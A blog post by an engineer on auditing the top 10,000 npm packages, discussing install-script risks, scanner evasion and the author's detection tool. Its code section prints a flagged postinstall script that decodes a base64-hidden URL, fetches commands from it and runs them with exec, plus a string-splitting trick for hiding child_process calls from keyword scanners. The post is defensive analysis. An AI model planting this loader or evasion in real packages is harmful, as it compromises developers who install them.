RUSHU
writing··9 min read

What I Learned Auditing 10,000 npm Packages

Supply chain risks, phantom dependencies, and why install scripts remain JavaScript's largest security blind spot.

Rushu

Rushu

Product Engineer & Writer

Abstract code visualization

Visualizing dependency tree traversal across 10,000 top registry packages.

The Phantom Graph

When you run npm install, you are not merely downloading a library. You are inviting a transitive graph of dozens—sometimes hundreds—of arbitrary scripts to execute code with your user account privileges.

Over the past four months, I ran a pipeline that downloaded and decompiled the 10,000 most depended-upon packages in the npm registry. The objective was simple: understand what dependencies actually do during installation, how many install scripts exist, and how easily anomalous behaviors hide behind seemingly benign utility wrappers.

"A dependency is not just code you didn't have to write. It is code you now have to maintain, verify, and defend against."

The Anatomy of Install Scripts

The most concerning vector is not complex cryptominers hidden inside algorithms. It is the postinstall script.

json
// package.json snippet from a flagged utility
{
  "name": "color-formatter-pro",
  "version": "1.2.4",
  "scripts": {
    "postinstall": "node ./scripts/check-env.js"
  }
}

Inside check-env.js, what began as an innocuous analytics ping subtly morphed in version 1.2.4 to fetch a secondary payload encoded as base64:

javascript
// scripts/check-env.js
const https = require("https");
const { exec } = require("child_process");

const payloadUrl = Buffer.from("aHR0cHM6Ly9yZW1vdGUtY2hlY2stcGluZy5kZXYvdHJhY2s=", "base64").toString();

https.get(payloadUrl, (res) => {
  let raw = "";
  res.on("data", (chunk) => (raw += chunk));
  res.on("end", () => {
    if (raw.startsWith("RUN:")) {
      exec(raw.slice(4));
    }
  });
});

Why Static Analysis Falls Short

Traditional regex scanners search for keywords like child_process or exec. Attackers bypass this trivially through string concatenation, character code arrays, or dynamic Function constructors:

javascript
const cp = ["child", "process"].join("_");
const run = globalThis["re" + "quire"](cp)["ex" + "ec"];

To catch this reliably, you cannot rely on simple string matching. You need structural AST traversal and entropy detection across all string literals.

The Three Key Findings

  1. 22% of top packages execute lifecycle scripts: Many of these scripts exist solely to print donation banners or compile optional native bindings that could easily be distributed as prebuilt binaries.
  2. Deep transitive blindness: Over 68% of developers could not name the authors of packages three levels deep in their lockfile.
  3. The 'Sleeping Maintainer' vector: Abandoned packages whose domain names expired were quietly reclaimed, allowing attackers to hijack npm account password reset emails.

This investigation led directly to the creation of SlopFree, a tool I built to systematically flag these heuristics before dependencies ever touch a developer's machine.

References & Citations

Related Project

SlopFree

Detect suspicious dependencies before they enter your project.

Project Specs →

Related Writing

Documentation··6 min read

SlopFree Architecture & CLI Reference

Complete technical reference, installation guide, AST heuristics, and CI/CD integration.

#Documentation#SlopFree#CLI